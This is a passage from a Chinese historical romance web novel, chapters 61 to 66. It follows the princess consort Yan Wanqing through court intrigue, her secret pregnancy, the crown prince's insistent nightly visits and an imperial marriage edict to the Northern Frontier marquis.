“我为什么要玩得过她?”怀玉反问:“我与她之间是挚爱亲朋,不需要心计。” 红衣男子像是听到了什么不得了的东西,瞠目结舌:“你疯了啊,开什么玩笑。” 怀玉摇头:“你不懂。”她说着放下手里的杯盏:“这里除了这个,全都给本侯爷包起来。” 红衣男子不纠结燕晚清的事情了:“你发财了?” 这一屋子得多少钱,他可不记得他们出北疆的时候有带这么多银钱。 怀玉轻描淡写的从怀中掏出一枚特质的玉佩,递给了一旁过来结账的掌柜的,上面赫然写着“金钱豹”三个字。 “本侯没疯,愿意给本侯花钱的女人,可不就是挚爱亲朋么。” 红衣男子说不出别的话了,双手鼓掌:“郡主大气!” 第六十一章 脾气真坏,也就孤能惯着你 燕晚清先到庄子上看了一下最近产业的情况,江南一块已经基本拿下了,金钱豹现在说成日进斗金也不为过,只是塞北那边还有点难度,还得让她亲自去一趟。 铁马街表面上接着一些基本的农具生意,背地里的冷兵器制造也是如火如荼,一些已经贩卖给了其他国家,其中就有秦国。 烟花巷内生意尤其的好,柴姝的事情丝毫没有影响到这条产业链的运作,朝廷官员的把柄已经被她拿捏的差不多了,几乎每个去过烟花巷的达官贵人都有些不为人所知,但是为她燕晚清所知的东西。 至于燕凌珍的同仁堂,燕晚清一直放手让她自己去弄,按照小丫头的运作,指定不会差。 上一秒她还在高兴,下一秒下面便传来消息,说是一些铺子送来了结账单。 燕晚清接过单子一看,笑意逐渐收敛了。 怀玉这个死女人,花她的钱可是半点都不知道心疼啊! “主子,柴先生到了。” 燕晚清合上账本,点头说道:“请先生进来吧。” 今日她不光要和柴右商讨七皇子突然提亲这件事,还要将松鹤堂交给他来管理,另外就是距离江南治水这件事情日子不多了,她希望柴右尽快利用萧鸿深在朝堂中谋个一官半职。 这样便能将松鹤堂的人才引入朝堂之内,届时不至于朝堂上没人用,让萧鸿深有借口开口提议让她这个女流去治水。 说完这些事情之后,临走的时候,燕晚清又有些不放心。 因为燕民生和孙文兴的事情迟迟没有结案,柴右还不能让七皇子知道柴姝是他的亲妹妹。 “真的不需要我去施压给谢群么?”燕晚清看着柴右问道。 柴右很坚持:“不用。” 话说到这个份上了,燕晚清也不必再多说了。 柴右有读书人的清高,相信大渭的律例和官员,她也没有办法多说什么,只是希望届时官官相护的时候,柴右能够保持心性才是。 柴右见燕晚清如此上心,心里十分感动:“郡主无需忧心,事情都在朝着好的地方发展。” “但愿……如此。”燕晚清见他如此,轻轻附和。 她感慨于柴右见过孙文兴和燕民生的肮脏之后,依然选择相信人性。 她却是一朝被蛇咬十年怕井绳,无法再从内心深处去相信任何人了。 从庄子里出来,燕晚清心事重重,她总感觉今日不太平,眼皮一直跳,路过那条暗无天日的巷子的时候,她更是心跟着漏了一拍。 不会的。 那人已经消失已久。 她上次就明摆着拒绝过了,好歹是堂堂太子殿下,又怎么痴缠她至此。 燕晚清不觉得自己有这种魅力,能够让萧蘋风对她念念不忘。 事实证明。 她有。 忙碌了一天的安平郡主熄了灯上了榻,刚有浅浅的睡意之后,便觉得自己被人抱在怀中。 她惊醒睁开眼,赫然与黑暗中的一双灿若星辰的眸子对上了。 “嘘。”那人伸出一根手指摁在了她的嘴唇上,另外一只手极其具有掌控的扣着她的腰肢。 是萧蘋风。 他竟然上了她的榻! 燕晚清意识到这个事实,被褥下的手就去推他:“下去!” “你推什么,这几日我都是抱着你入睡的。” 燕晚清:“???”红雾和否极是老眼昏花了吗?这么大的活人进了她的房间,他们俩当真就看不见? 太子爷看她愣住,喉间发出低沉愉悦的声音。 “他们武功不如我,你无需怪他们。” “你来做什么?”燕晚清蹙眉:“堂堂太子殿下,礼义廉耻都读到了狗肚子里去了?!” 太子爷闻言挑眉:“读到你的肚子里去了。” “你!”燕晚清俏脸一沉,便想要喊人。 谁知那太子爷直接附身上来,双手撑在她的耳畔,居高临下的挑衅:“你要是喊,我就亲你,不信你试试。” 燕晚清相信他干的出来。 太子爷见她终于听了一次话,想起今日听闻的消息,声音稍显低哑。 “那次你说无意北疆侯,我当真了。” 燕晚清不想对上他的双眸,歪过头去看向里面的墙:“我有选择嫁给谁的权利。” “好,很好!”黑暗中男人咬牙切齿:“燕晚清你当真是好样的!” 燕晚清沉默不说话,双手紧张的护住了被褥之下的肚子,生怕被压到半点,表情十分倔强。 “那北疆小侯爷真就如此之好,好到让你眼巴巴的上赶着嫁去北疆?” 萧蘋风看她不说话,伸出手捏着她的下颚,将她转着朝向自己,语气冰冷:“说话。” 燕晚清挥手打掉他的手,满眼都是抵制:“太子殿下心里已经有答案了不是么?何必多此一问。” “燕晚清!”他低声呵斥一声,语气中都能感受到此刻的暴怒。 侵略的目光一寸寸的审视着身下的女子,见她红唇抿住,看向自己的目光充满了排斥和抵制,和那日她跟北疆侯爷出去游玩时候的开心形成了鲜明对比。 “……当日你说的天下为聘,只是在敷衍孤,对么?” 燕晚清面色平静:“是。” “你与孤已经发生了夫妻之实——” 燕晚清直接打断:“那又如何?我不觉得吃亏,难道太子殿下还不如我一介女流拿得起放得下?” 萧蘋风感觉自己要气疯了,这张红唇轮廓美妙,说出来的全都是刺人的话语,他一点都不爱听。 “唔!”燕晚清惊呼,伸出手去推他,很快双手被他抓起来摁在了枕头上。 男子的亲吻势如破竹,让她溃不成军,战栗不止…… 不知过了多久,她感觉自己要窒息晕厥过去,男子才放过了她。 萧蘋风伸出拇指轻轻的摩搓着被亲吻微微红肿的唇瓣,嗓音低沉沙哑:“……拿得起放得下?你当孤是什么人,乖乖。别仗着孤的喜欢,你就作天作地。” “萧蘋风!”燕晚清扬起手便直接对着他的脸来了一下,稍显清脆的声音在屋内响起,两个人都愣了一下。 燕晚清没有想到他不躲。 扬起的手在空中停滞,心里咯噔一下。 她刚刚打了当朝太子爷……这可是死罪。 怎么办? 还没有反应过来,自己的手便被一只大掌握在了掌心里,很快掌心传来湿热的触感,她不敢相信这位爷竟然恬不知耻的亲了她的手,而且每根手指他都亲了。 “脾气真坏,也就孤能惯着你,手疼么?” 燕晚清心乱如麻,她不知道这个男人的底线究竟在哪里,挨一个大比兜子都能问她手疼不疼,当真是爱惨了她? 第六十二章 都这样了,你还想嫁给别人 “行了,孤困了,睡吧。”某位爷从善如流的脱去了外衫,伸出胳膊将她拥入怀中,然后体贴的将她把被子盖好。 燕晚清浑身僵硬,双手抵着他滚烫的胸膛,脸颊也跟着温度上升:“你出去。” “说什么呢?”男子微微压下头,鼻息喷在她的耳畔,带着几分促狭的味道:“孤都没进去,怎么出去。” “……你,你孟浪!”燕晚清咬着下唇,好半饷意会了他的意思,憋出几个字来。 “好了不逗你了,快些睡吧,今日被几个老臣缠着,孤累坏了。” 燕晚清感受到那条她枕着的胳膊抬起,伸出手揉了揉她的脑袋,很是宠溺。 一时之间她也不知道如何是好了。 他说几日前便一直抱着自己入睡,她怎么一点反应都没有?难道是因为白日太过于疲惫,所以晚上才睡的这么沉么? 被褥之下是他颀长的身形,宛若暖炉散发着温暖的温度,让被千机之毒折磨的体寒的她忍不住想要靠近取暖。 似乎是感受到她的小心翼翼,男子抬腿将她的脚夹在了腿间,剩下的一只手抓着她的手,直接穿过内衫放进了他的胸膛。 胸膛滚烫,烫的燕晚清下意识想要收回手。 “嘶——”似乎是被她的小手温度冻到了,萧蘋风抽了一声冷气,有些不满道:“给你捂手你还不乐意了。” “没,没有。”燕晚清发出蚊子一样小的声音。 身边的男子呼吸平稳,四周又安静下来,燕晚清不知道什么时候昏昏沉沉的睡着了,梦里只感觉到一个暖炉紧紧的抱着自己,手脚都是温暖的,睡得舒舒服服的。 燕晚清醒过来的时候,发现萧蘋风把他的太子印留下放在了枕头上。 她拿起沉甸甸的太子印,对上了跪在床头红雾的一双眼睛。 “……主子,他走的时候属下才发现。” 话说了等于没说,发现的比你家主子还晚,还不如别发现。 燕晚清放下太子印,伸出手摸了摸自己的额头,发现自己对这位爷是一点办法都没有。 他什么话都没有留下,唯独留下了这个太子印。 燕晚清太清楚他是什么意思了。 这是在警告她,不要妄想嫁给别人。 “去请小侯爷过来。” 安静的房间内,怀玉手捧着太子印,欲言又止。 “你想问什么问吧。”燕晚清见不得她这副模样,心烦意乱道。 怀玉凑过来:“这孩子是……?”她目光朝着太子印落了落,得到燕晚清点头后,忍不住捂住了自己的嘴巴。 “那你为何不肯嫁给太子?他都把太子印留给你了,嫁给他就是东宫太子妃。”怀玉不理解,嫁给太子明显就是燕晚清最明智的选择。 大渭太子名声在外,一身正气,乃是天下之光,尤其是现在东宫后院空空,燕晚清刚好怀有身孕,这个孩子便是太子的嫡长子,身份尊贵的很,何必选她这个假男人去北疆受苦呢? 燕晚清唇角露出一抹苦笑,世人可能都会这么觉得吧。 “我有自己的苦衷。” 怀玉看着她的表情,没有再多问,只是将太子印放下,双手握紧她的手。 谁的心里都有点秘密,燕晚清不愿意说,她便不问。 晚上灯熄了之后,燕晚清将被褥抱在胸襟前,果然不出所料,那位爷又来了。 察觉到他靠近了床榻,燕晚清坐直了身子。 “殿下,我们谈谈吧。” 来人刚好褪去外衫,身上还带着刚刚沐浴过后的水汽,见她坐起来,惊讶道:“这么晚了还没睡?在等孤?” 他说着便上了榻,欺身过来,燕晚清刚想要拒绝,就见他双手环抱住自己。 “抱抱。” 嗓音异常的沙哑,听起来十分的疲惫。 燕晚清心软了几分,伸出手抱住了他的腰肢,感受着清冷的栀子香气慢慢的在鼻息间扩散,她忍不住多吸了两口,心里十分平静安稳。 “……孤在宫里处理政事时候,一直觉得心里空荡荡的,现在抱着你,才发觉是想你了。”他深深的在她的发间嗅着。 褪去了白日的伪装和浮躁,他慵懒的像是一只巨型宠物,在她的脖颈处蹭了又蹭,想要亲吻下去,又害怕她生气,只能发泄的多嗅几口:“乖乖,有你真好。” 燕晚清听着他的呢喃细语,突然想到当今太子好像还比她小几个月,此时是他难得的孩子气…… 不知怎的,她的心跟着柔软了几分。 她把这种心软归结于自己也怀了孩子的缘故。 “可以亲亲你吗?”萧蘋风显然也发现了她的心软,开始得寸进尺。 燕晚清缓缓抬起一只手。 “知道了知道了,不亲。”某人见好就收,语气又软了几分,带着祈求:“那我们睡觉了好不好,乖乖。” “我们谈谈。”燕晚清刚开口,整个人便跟着他一起倒在了榻上,下一秒被子也跟着盖了上来。 “天气冷,盖上被子谈。”某人极其体贴。 燕晚清深呼吸一口气,告诉自己不能生气,生气对腹中胎儿不好,她要冷静。 “我们现在这种状况是不对的。” “怎么不对?”某人不以为意。 燕晚清甩开他抓过来的手,语重心长,宛如一个劝人迷途知返的知心大姐姐:“你不能总是半夜爬上我的床榻,这不符合伦理纲常,而且我马上就要出嫁了,你让我未来的夫君以后怎么看我?” “都这样了,你还想嫁给别人?”萧蘋风真想敲开这个女人的脑袋,看看里面究竟藏的什么东西。 “抱也抱了,亲也亲了,该做的不该做的都做了,你还想着嫁给别人?燕晚清你究竟有没有心。” 心……自然是有的,只是不能轻易给出去而已。 燕晚清觉得喉间被哽住,她移开视线:“我已经跟皇后娘娘请了诏书,没几日便会给我和北疆侯爷赐婚。” “你是不是想要气死孤?”他收缩怀抱,将她紧紧的抱在怀中,仿佛这样就能稍微缓释一下他想要杀人的冲动。 她被箍的难受,忍不住低吟了一声,只一声,气氛变得难耐起来。 某人喉结上下滚动了一下,咽了一声口水。 下一秒燕晚清便被压在了身下。 “这张嘴还是发出一点其他的声音会比较动听。” 第六十三章 阿姐,二婶撞墙了 燕晚清被折腾了一夜,醒过来的时候发现身上却是干爽的,衣服也换了。 接近中午的阳光从门缝中洒进来,还能看到灰尘在飞扬跳舞,周围静谧,被褥中还残留着他身上的栀子香气,这一切都让她有些怔松。 时间似乎变慢了。 因为这个人。 她捂着加速跳动的胸口,眼中都是疑惑,她不太懂这种情绪的存在。 “小姐,醒了吗?”门外传来轻轻的敲门声,伴随着从歌温柔的嗓音。 燕晚清咳嗽一声:“起了。” 从歌便带着丫鬟们鱼贯而入准备给她洗漱了。 穿戴的时候从歌说起前院闹起来的事情,燕晚清才知道孙文兴被将军府带人接了回去,现在只有燕民生一个人留在了大理寺里。 燕刘氏正在屋子里哭天抢地,连带着老太太也跟着掉了几滴鳄鱼的眼泪。 燕安今天一上午就跑出去好多趟,刚刚才回来。 可以说是二房那边热闹非凡了。 话说着,院子里就传来燕红昭的声音,她像是一只红色的小麻雀飞了进来,满脸都是焦急。 “阿姐,二婶撞墙自杀了!” 燕晚清愣住,随即问道:“死了?” “没有,只是撞晕了过去,母亲让我过来问问你过不过去,老太太正在发怒呢。” 燕红昭说道。 燕晚清一听燕刘氏没死,手里的动作也跟着慢了下来。 “老太太骂的可难听了,说母亲不顾及家庭和睦,不让人去把燕民生接回来,要逼死二婶二叔,然后那燕刘氏就哭着撞柱子了。”燕红昭将事情的前因后果简单的交代了一下。 在听见老太太骂孙氏的时候,燕晚清眼中闪过嗜血的光,但是很快她便遮掩下来。 “那孙文兴是怎么回去的,知道么?”按道理谢群知道了她的意思,不应该轻易放孙文兴出去才是,孙家人到底是怎么把人接回去的。 “听二叔说,是那孙家表哥把所有的罪证都推给了堂哥,将自己摘了个干净,然后人就被带了出去了。” 燕红昭说着自己听来的消息。 燕晚清听完冷笑一声:“一丘之貉,他倒是真能将自己摘出去。” “现在二叔二婶知道这件事情之后,都要急疯了,现在他们一家子都堵在母亲的佛堂里,非要逼着母亲去把堂哥救出来。” “他们在佛堂里闹?”燕晚清蹙眉:“怎么不早说,走去看看。” 她一听这家子在孙氏的佛堂里闹,便再按捺不住了,率先出了门。 燕红昭紧跟其后,有些委屈巴巴:“来的太着急,我便忘记了。” “母亲身边可有人?”燕晚清出来的时候,随手便招呼着外面的几个家丁跟在身后,以备不时之需。 “六妹陪着母亲。”燕红昭是想留下的,但是今日六妹的身体看起来特别糟糕,礼佛的时候就流了鼻血,她身体好脚程快,所以先跑过来告知大姐。 燕晚清点点头,加快了脚步。 等他们到了,她才发现据说是晕了的燕刘氏正坐在台阶上,依靠着自己的丫鬟,脑袋上顶着一方热帕子,像一头牛一样喘着粗气。 佛堂里,二叔正在激烈的对着自己母亲说着什么,而母亲一脸冷漠的转着佛珠,护着身后的燕凌珍。 “……我就这么一个儿子,大嫂也是有子女的人,怎么能眼睁睁的看着我白发人送黑发人,流放两千里,那可是会死人的啊。”燕安不断的逼近孙氏。 燕晚清朝燕红昭使了个眼色,燕红昭便直接飞身过去,挡在了孙氏的面前。 燕晚清拾阶而上:“二叔,有话好好说,佛门乃是清净之地,可别吵到了佛祖。” 燕安看见燕晚清的瞬间气不打一处来:“你还有脸过来!” “二叔这说的是什么话?总不能因为晚清不肯嫁给七皇子替你们二房解围,便因此记恨上我吧?二叔可是朝廷官员,怎生这么点肚量。” 燕安气得一脸铁青:“他是你血脉相连的哥哥,你怎么有脸说出这种话的,实在是太冷血了!” 上来给她嘴脸,燕晚清也不惯着:“堂哥亲手将一个活生生的姑娘给打死了,按照律例在大理寺受刑,这本身就是个无可厚非的事情,还是二叔觉得人家姑娘的命不是命了?” 燕安嗤笑一声:“不过就是个青楼妓子,烟花巷多得是这种货色,今日死一个明日死两个的,哪里还算是个什么稀奇的事情,民生不过是踩了黑道,让人给算计了,这才会被扭送到了大理寺,不然屁事没有。” 燕晚清心想她二叔这几日天天往外跑可真没白忙活,还知道燕民生是被人算计了。 可不巧了,算计他的人就在站在这里。 谁叫他们非要在她的烟花巷里闹事,还好死不死的打死了柴右的妹妹柴姝。 这笔账可不就是得找燕民生和孙文兴算么。 “现在大理寺判的是流放千里,孙家人歹毒先行一步把孙文兴给捞出来了,只留下我儿一个人,一千里活生生的变成了两千里。”燕刘氏清醒了,在一旁啜泣出声。 应该是刚刚闹够了,现在没多少力气闹了。 燕安脸色铁青:“这件事情和孙家脱不了干系,那烟花巷就是孙文兴带过去的,我儿出事也是他搞的鬼,凭什么现在摘得一干二净……大嫂,这是你们孙家的事情,你怎么也得给个说法。” “流放?”燕晚清愣了一下。 怎么会是流放呢。 难道是因为柴姝是贱籍?而孙文兴和燕民生是官宦之后,所以大理寺才判的流放…… 眼下孙文兴被救出去,按照她二叔的性子,这燕民生出来也是迟早的事情。 燕晚清不由得想知道柴右现在还是否坚持当初的选择。 相信这世道的公平。 她要冷眼旁观,看柴右的世界崩塌殆尽,然后再伸出援手,告诉他,只有信她燕晚清,才能得到真正意义上的复仇。 “二叔想要如何?”燕晚清直接问道。 燕安眼中闪烁着诡计,他冷笑一声:“要么一起出来,要么一起流放,本就是一起出的事情,他孙家凭什么摘得这般干净!” “孙家若是不出面把这件事情摆平,明日我便去告御状!”这句话已经是带上了威胁,直接冲着孙氏逼道。 “二叔何须去告御状,不如现在就收拾收拾跟随本郡主进宫,直接带二叔去御前可好?”燕晚清也不含糊,她可不是被吓大的。 燕安刚说完吹牛比的话,现在被燕晚清直接堵上了,一时之间脸色青一阵白一阵的,十分难看。 这个小丫头片子,真是太能气人了。 “行,走就走,我怕你不成!”燕安梗着一口气往门外走。 燕晚清冷哼一声跟上。 就在这时,一直不开口说话的孙氏开口了。 “慢着。” 她看向燕安和燕晚清:“我今日回一趟孙家,把这件事情解决。” 燕晚清皱眉:“母亲!” 孙氏冲着她点头:“我心意已决,这件事情就到此为止吧。”不能闹到圣上面前,不然对镇国府来说又是一番打击了。 孙氏的想法燕晚清自然是知道的,但是自损羽翼替二房去遮风避雨,她可不是这般蠢笨的人。 这样想到,她的目光在空中和孙氏身后的燕红昭对上了。 既然如此,不妨就把火烧的再旺一点。 第六十四章 燕凌珍辞行,柴右被打 等到孙氏出门,燕晚清唤了人过来,才知道孙家究竟是怎么把人给救出去的。 柳姨娘在家里一哭二闹三上吊,闹得家里不可开交,加上孙文兴平日里在家中最是会装乖巧,这件事情便直接闹到了孙家老太爷的面前,老天爷直接修书一封到了宫里,要求表姐孙涟漪去圣上面前求情。 孙涟漪没辙,只能挺着个大肚子到了圣上面前,仗着现在的恩宠斗胆开了口,圣上一松口,那孙文兴便出来了。 大理寺的人为了把这件事情做的干净一点,堵住百姓的嘴,便直接将打死柴姝这件事情全部栽给了燕民生。 这也是为什么燕刘氏刚刚哭嚎,一千里的流放变成了两千里。 燕民生此生若是被流放两千里,这辈子都别想回到京都了,可能还没到流放之地,就会死在路上。 “现在怎么办?夫人若是向将军府开口,那燕民生是一定会被放出来的。”否极说道。 燕晚清翻看着兵书,漫不经心:“不着急。” 否极疑惑:“主子难道不管了?柴先生要如何交代。” “他若是真的下定决心,这件事情又怎会轮到我出手,现在不过是妇人之仁。”她拿着毛笔在兵书上标注:“两方对阵,最忌讳的便是无用的仁慈,这件事情会给他好好的上一课。” 否极听完低下了头。 他和红雾跟了燕晚清起码有十年,一路从战场上跟下来,从小一起长大。 十年的光景,他们都看不透燕晚清的究竟在想什么。 她可以对路边快要饿死的流民心存善念,却也可以毫不犹豫的丢下压死骆驼的最后一根稻草。 说她多情善良也对,说她心狠手辣也贴切。 像是一团永远都解不开的浓雾,充满了神秘感以及对未知的恐惧。 “主子,今夜可要加派人手?”否极听红雾说了一些事情,忍不住提议道,结果燕晚清一个白眼翻过来,他吓得脊梁骨直冒冷汗。 燕晚清深恶痛绝自己的这两个贴身暗卫不懂得什么叫察言观色。 “加派人手就有用吗?你们几个加起来也不是他的对手。”对于萧蘋风的武力值,燕晚清十分清楚。 每天晚上抱着她的那双手臂充满了力量,她深有感触,再加上与她师出同门,按照他太子的身份,宋化虚必定不会对他藏私,本事学了十七**,这世上再难有人是他的对手了。 这也难怪为何他频频出现,红雾和否极却跟两头呆头鹅一样,什么动静都听不见。 燕晚清忍不住叹了一口气。 这么好的本事,不用在正途上,非要用来每天晚上爬她的榻。 “行了下去吧。”燕晚清觉得身心俱疲,刚好燕凌珍也提着药箱走了过来,姐妹俩是同一张苍白的面色,远远的隔着门口相望,同病相怜。 燕凌珍是来告别的,今日布针结束后,她提出来要出去寻一味药。 “非得要你亲自去么?你的身体……”燕晚清有些担忧。 燕凌珍白着一张小脸郑重的点头:“是一个脾气比较古怪的旧友,一定得要我本人过去,他才会愿意让我采药,一般人只怕是还没进山就死了。” “你有多少把握?”燕晚清没有因为很危险就不让她去,而是问她有多少把握。 这也是为什么燕凌珍这么喜欢她的原因。 燕凌珍伸出一只手。 燕晚清敛眸:“五成?” 五根手指变成了两根,她叹息:“两成,你就敢以身犯险。” 燕凌珍点点头:“俗话说得好,不入虎穴焉得虎子,何况我们现在已经是穷弩之末,两成把握已经足够了,等我回来,一定能够把阿姐的毒解了。” “无论如何,平安归来。”燕晚清捏着她的小手嘱咐道。 长姐如母,燕晚清没有办法对这个满眼都是自己的小姑娘太过于冷情,更何况她们之间还是打碎了骨头依旧血脉相连的姐妹。 燕凌珍离开的时候,燕晚清几乎将整个风雨楼都给她打包放在了身边,生怕她在路上出点什么事情。 日子一天天的过去,燕民生也被放回了家,大理寺嘴上说着是过几日再抓回去,但是明眼人都知道,这都是说辞借口。 柴右被打的那天,是个很冷的下午,天刚下过雨,地面上结了冰,他被人用麻袋套头狠狠的打了一顿,然后丢在了后街的那条湖上。 得亏是冰还没有太过于结实,不然他掉下去恐怕就再难上来。 萧鸿深因为柴右被打这件事发了好大一通火,派人在大街上巡逻,到处找打柴右的犯人。 听到这个消息之后,燕晚清反应平平。 此时的她正在围炉煮茶,身边的怀玉给她剥着砂糖橘。 甘甜的果肉在口腔内爆汁,燕晚清吃的眯眯眼,让一边的柴玉咋舌:“你二叔说的对,真冷血。” 燕晚清听完直接冷笑:“说的好像你不是一样。” 怀玉撇嘴:“一样一样,咱俩都是同一类人,心不狠,地位不稳,所以还是心狠一点比较好。” “自古成大事者都要有所取舍,我只是在帮他做选择的路上,轻轻的推了他一把。”燕晚清看着怀玉将橘子皮丢进了炭火之中,火花一瞬间串了起来,又瞬间落下。 “你就不怕适得其反,据说那七皇子对柴先生可是殷勤的很。”怀玉补充道。 燕晚清目光笃定:“以前可能会,但是现在的柴右绝对不会。” 七皇子在这件事情里面究竟扮演了一个怎样的角色,以柴右极深的城府不会不清楚。 毕竟柴姝上一位客人正是萧鸿深呢。 她燕晚清不是好人,那萧鸿深这个睡了他妹妹的男人,又能算是个什么好东西。 毕竟男人就那么点尊严,稍微拿捏一下,每个地方都是命门。 “现在就等着看戏吧,弱质书生的官宦浮沉,可实在是太有意思了。”燕晚清忍不住弯了弯眉眼,极其期待。 怀玉有些担心:“柴右成长太快,对镇国府也未必是件好事。” “不是好事,但肯定不是一件坏事。”燕晚清目光灼灼的盯着怀玉:“朝堂之上的能臣越多,我们镇国府的存在便越发重要。” 只有这样圣上忌惮了这些新晋之臣,镇国府和将军府这样的老臣才能继续备受信任,从而继续安全的存活下去。 这就是燕晚清下的一盘大旗。 马上就要立春了。 父兄战败的消息,就要传回来了。 第六十五章 经典场面,强抢民女的戏码 燕晚清最近身体的反应实在是有点大,晚上避免被那位爷看出来,她都是早早的便睡下了。 直接错开了两个人清醒面对面的时间。 不过根据怀玉的表述,有了孩子的她明显比平日里娇憨了许多,压根受不了一点委屈。 两个人商讨着打算这几日再去找一下孙氏,尽快将婚事定下来,等到她上了花轿,太子爷再怎么不要脸,也不可能当街抢亲吧。 就算他想,支持他的那群朝臣也不会同意。 怀玉听着燕晚清的计划,心中很是无奈。 她是那么想要远离那位太子爷,而那位每天比上朝还要来的勤快,两个人之间的关系真是理都理不顺。 只是可怜了她,近日出门隔三差五的就要跟七皇子碰上,每次碰上总是要出点事情。 自从上次萧鸿深提亲失败,发现是她捷足先登之后,每每都要使绊子,怀玉碍于身份,苦不堪言。 今日燕晚清还非要跟着她出门去茶楼喝茶听戏,怀玉没辙只能多喊了几个人跟着。 正听着戏,就听见茶楼之下传来喧闹声。 燕晚清听得入迷没注意,坐在窗台的怀玉歪着脑袋看了一眼。 发现是个官宦子弟正在集市上喧闹。 “这位少爷!老身可就这么一个女儿啊,您行行好高抬贵手啊,放过她吧!” 年迈的老妪被家丁们踹翻在地上,那满身都是布丁却依旧掩盖不了清丽姿色的女子被官宦子弟强行抱在怀中,此刻正痛哭流涕的喊着自己的老母亲。 “本少爷看上她是她的夫妻,你这个老不死的真是没有眼力劲。”那官宦子弟从怀中掏出一兜子钱丢在了地上,然后强行抱着民女就要离去。 老妪也不知道哪里来的力气,挣脱开家丁们的包围,上前一把抱住了那官宦子弟的脚,不肯他离开,结果换来的是更毒的殴打。 “看什么呢?戏都不听了。”燕晚清凑过来看。 怀玉托着下巴:“经典场面,强抢民女的戏码。” 燕晚清咋舌:“你不下去英雄救美么?还有心情在这里看戏,果然是冷血。” 怀玉忍不住翻了个白眼,心中暗骂这女人真记仇,半点亏都吃不得,上次骂她冷血,这次找机会也要讨回来。 “不去,你看我细胳膊细腿儿的,那些家丁个个膘肥体壮,下去指不定谁救谁呢。”怀玉全身都在抗拒。 燕晚清轻哼一声,转到桌子的另一边,探着脑袋往外看。 这一看不得了,这不是刚刚被将军府捞出来的孙文兴么,这才隔了几天,他就又出来作妖了。 烟花巷不让去了,他便出来强抢民女了。 燕晚清眼底闪过一丝厌恶,堂堂将军府,个个英雄好汉,根正苗红,偏偏出了孙文兴这种败类。 简直是一粒老鼠屎坏了一锅汤。 倘若不早点将此人铲除,迟早要被人借机做文章连累到整个将军府。 想到这里,燕晚清抄起桌子上的茶壶,直接摔了下去,那茶壶就在孙文兴的脚边炸开,吓得他赶紧放下了肩上的女子,抬起头冲着茶楼的窗户谩骂。 “是哪个吃了熊心豹子胆的!竟然敢拿茶壶砸小爷……” 孙文兴一眼直接对上了燕晚清似笑非笑的眼睛,人傻了:“表,表妹。” 燕晚清伸出柔荑,在茶楼二楼朝着孙文兴勾了勾手指。 孙文兴便马上屁颠屁颠的上来了。 “表妹今日怎的出来玩了,平日里要见表妹一面简直是难如登天啊。”他谄媚的看着燕晚清说道。 燕晚清被他看的一阵嫌恶,如果不是自己和表姐表哥的关系好,她真的不想出面管此事。 “你这是想念大理寺的饭菜了,光天白日里竟然敢强抢民女?” 燕晚清冷哼道。 她平日里不和孙文兴打交道,但是熟不知在孙文兴的眼里,燕晚清就是井中月,水中花,是他心目中的女神,所以哪怕她只是冷哼一声,这一声也柔媚到他的骨子里去了。 孙文兴心都要化了:“表妹这是在关心我吗?表哥好生感动,不过表哥可不是在强抢民女,只是那女子要卖身葬父,我给了她钱,她却不愿意跟我走了,表哥哪里受得了这种委屈——” “所以你便让人将他们母女俩打了?”怀玉在旁边讥讽道。 孙文兴这才注意到和燕晚清同桌的还有个男子,他蹙眉:“你是哪位?” “北疆小侯爷。”燕晚清替怀玉说道。 孙文兴一脸警惕的看了怀玉好几眼:“他就是那个叫怀玉的北疆侯府的侯爷?” “如假包换。”怀玉一副你有意见的神态。 孙文兴冷哼一声,凑到燕晚清面前:“表妹你平日不出门不知道外面的险恶,有些男子只是长得好看,但是一点本事都没有,你可不要被这种人骗了。” 怀玉:“这位少爷,你含沙射影谁呢?本侯爷还在这里坐着呢。” 孙文兴尴尬的摸了摸鼻子,继续小声的说道:“表妹你知道表哥是什么意思就行。” 燕晚清看着怀玉生气,眼底泛起一丝笑意,但是很快便消散。 “那对母女呢?”她问道。 只不过一瞬间的功夫,原本还在地上打滚的母女此刻便消失在了大街上。 孙文兴跑到窗户边看了一眼,大发雷霆:“人呢?!本少爷的钱都给了,人怎么没了,还说带回去当个洗脚丫鬟呢,简直是赔了夫人又折兵!” 生气的孙文兴,将气都洒在了看管不利的家丁身上。 看着在一边发火的孙文兴,燕晚清慵懒的喝着红枣茶,暖暖的有带着些许甜味的热茶顺着喉间缓缓滑入食道,让她忍不住喟叹一声舒服。 “你怎么看这件事情?” 怀玉吃着干果:“很明显啊,这就是针对他的一个局,今天是卖身葬母,明日便有可能是卖身葬父,反正那蠢货迟早有一天会入套。” 燕晚清捧着热茶继续小口的喝着,已经认同了怀玉的话。 倘若刚刚不是她打断的话,只怕此刻的孙文兴就离死不久了。 她隐约嗅到了复仇的气息,但是不太浓厚。 可惜了,手段太过于低劣,一眼就让人看穿了。 还需要再养一养才行啊。 燕晚清晃悠着茶杯里的红枣,惬意的感受着外面的新鲜空气。 就在这时,桌子底下的腿被怀玉给踢了一脚。 她拧着柳梢眉刚要发怒,便见怀玉指了指楼下。 “你看那是谁?” 第六十六章 做不到,就去蛇窟喂蛇 一个身穿朱红色长袍的宫人跨坐在马匹上,手里高举着一卷明黄色的卷轴,朝着镇国府的方向而去,身后浩浩荡荡的跟着两排疾跑的宫人。 燕晚清和怀玉相视一眼:“圣旨!” 二人站起身便从包间里出去下楼,留下孙文兴一脸懵逼的站在原地,看着燕晚清的背影:“表妹表妹你去哪儿?!” 他看着二人上了马车,也急了,连忙让家丁去牵自己的马儿过来,三年都见不着一次貌美天仙的表妹,这次看见了,可不得多看几眼。 马车在宫人到了之后的一盏茶时间,也稳稳的停在了镇国府门口。 皇后娘娘身边的贴身太监徐公公已经等候多时,此时看见燕晚清和怀玉一起下马车,眼角挤出笑意来。 “见过安平郡主,见过小侯爷,咱家给两位贺喜了。” 燕晚清和怀玉相视一眼,从彼此眼中看到了了然。 这一定是皇后张岚依给他们求来的赐婚圣旨。 这件事情稳了。 大厅里很快便汇集了听到圣旨到了的众人。 燕安和燕刘氏盯着那抹明黄,眼中都是不敢置信,就连孙氏也是微微蹙眉。 燕晚清此刻不敢看孙氏的目光,只是和徐公公笑着说道:“还请公公宣读诏书吧。” 母亲思虑她的身体,不肯她嫁去北疆,燕晚清心里是很清楚的,只是此刻的她别无他法,不嫁给北疆侯,还能如何? 太子爷和七皇子,前有狼后有虎,她也是被逼的太狠了。 众人跪在地上等徐公公宣读完诏书,一个个还恍如在梦里。 谁也没有注意到一个角落里,从欢听见诏书内容之后,眼睛里闪烁出的恶毒光芒。 她一路从侧门跑出去,直接跑到了七皇子的府上。 七皇子尚且不在府内,等的她心急如焚,好不容易听到有人喊:“殿下回来了!” 